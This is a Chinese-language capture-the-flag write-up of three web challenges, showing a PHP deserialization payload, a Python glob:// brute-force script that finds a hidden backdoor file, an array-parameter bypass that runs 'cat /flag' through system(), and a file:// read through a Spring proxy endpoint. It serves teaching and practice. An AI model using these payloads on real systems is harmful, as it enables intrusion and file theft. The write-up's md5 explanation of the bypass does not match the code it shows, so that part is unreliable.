web1 这个是一个简单得反序列化题目, $hacker = new Hacker();$h = new H();$h->username = $hacker;echo urlencode(serialize($h));运行这个代码得到 payload: Payload:O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A11%3A%22%00Hacker%00exp%22%3BN%3Bs%3A11%3A%22%00Hacker%00cmd%22%3BN%3B%7D%7D
我们url解码一下
Payload:O:1:"H":1:{s:8:"username";O:6:"Hacker":2:{s:11:"Hackerexp";N;s:11:"Hackercmd";N;}}
web2glob协议爆破文件路径 这个题目首先发现一个backdoor_[a-f0-9]{16}.php 这个在html中,也就是说,存在一个文件名backdoor_这里是a-f+0-9拼接在后面,总数字16位,我们就需要写一个对应的脚本,来爆破一下这个php文件。 同时使用php协议glob,该协议是匹配获取文件列表的方式,可以在路径中使用通配符比如: http://172.10.0.5/file=glob://*.txt
这里匹配字符串,我们进行爆破 burp0_url = "http://172.10.0.5:80/"dic = string.digits + string.ascii_lowercaseres = ""for length in range(40): for i in dic: burp0_data = {"filename": "glob://./backdoor_" + res + i + "*"} r = requests.post(burp0_url, data=burp0_data) if "failed to open dir" not in r.text and "False" not in r.text: res += i break print(burp0_data)猜测代码通过逐字符地构建可能存在的文件名,并通过 HTTP 请求验证这些猜测,试图找到特定的一个文件(这里是backdoor_*文件)。这是典型的目录遍历或文件包含攻击的一种实现方式,旨在检测服务器上是否存在某个特定文件。 爆破后得到文件: /backdoor_00fbc51dcdf9eef767597fd26119a894.php
<?phphighlight_file(__FILE__);error_reporting(0);if(isset($_GET['username'])){ $sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/'; mkdir($sandbox); chdir($sandbox); if(isset($_GET['title'])&&isset($_GET['data'])){ $data = $_GET['data']; $title= $_GET['title']; if (strlen($data)>5||strlen($title)>3){ die("no!no!no!"); } file_put_contents($sandbox.$title,$data); if (strlen(file_get_contents($title)) <= 10) { system('php '.$sandbox.$title); } else{ system('rm '.$sandbox.$title); die("no!no!no!"); } } else if (isset($_GET['reset'])) { system('/bin/rm -rf ' . $sandbox); }}?> 首先我们url中包含username参数,代码将创建一个新的目录,目录名称根据usernamemd5生成,这意味着每个用户名都会生成一个唯一的目录。 mkdir($sandbox); 创建上述目录 chdir($sandbox); 切换到新建的目录中 下面处理title和data参数,如果data超过5个,或者title超过3个,则终止 使用file_put_contents将数据写入title为名的文件 然后读取刚刚创建的文件内容,如果文件内容的长度小于或等于10,则执行该PHP文件。 如果文件内容长度超过10,则删除该文件并终止脚本。 最后如果提供了reset参数,则在创建sandbox目录及其所有内容之前删除 这里我们需要构造一个东西,需要用到数组绕过,来绕过长度限制。最后的payload是这样的: /backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=tel&title[]=x&data[]=<?php+system("cat+/flag");
这里直接将data的值带入进去,执行了系统命令,查看了flag文件 数组绕过说明: 无论是PHP弱比较还是强比较,md5()函数无法处理数组,如果传入的是数组,会返回NULL,两个数组经过加密后返回值均为NULL,形成相等。 Web-HTTP开始的一个网站,框架扫描时SpringBoot框架,这里可以使用SpringScan进行扫描。 扫描到敏感接口,/swagger-ui/index.html 点击得到一个api-docs路由文件, {"openapi":"3.0.3","info":{"title":"Challenge","description":"Proxy API","version":"1.0"},"servers":[{"url":"http://172.10.0.3:8080","description":"Inferred Url"}],"tags":[{"name":"Proxy","description":"Proxy Controller"}],"paths":{"/proxy/url":{"get":{"tags":["Proxy"],"summary":"proxy for the url which submitted by user","operationId":"proxyUsingGET","parameters":[{"name":"url","in":"query","description":"url","required":false,"style":"form","schema":{"type":"string"}}],"responses":{"200":{"description":"OK","content":{"*/*":{"schema":{"type":"string","format":"byte"}}}},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}}}}},"components":{}}测试路由,发现存在文件包含,那么就可以利用伪协议进行利用 /proxy/url?url=url:file:///flag%23.html
此处截断绕过
|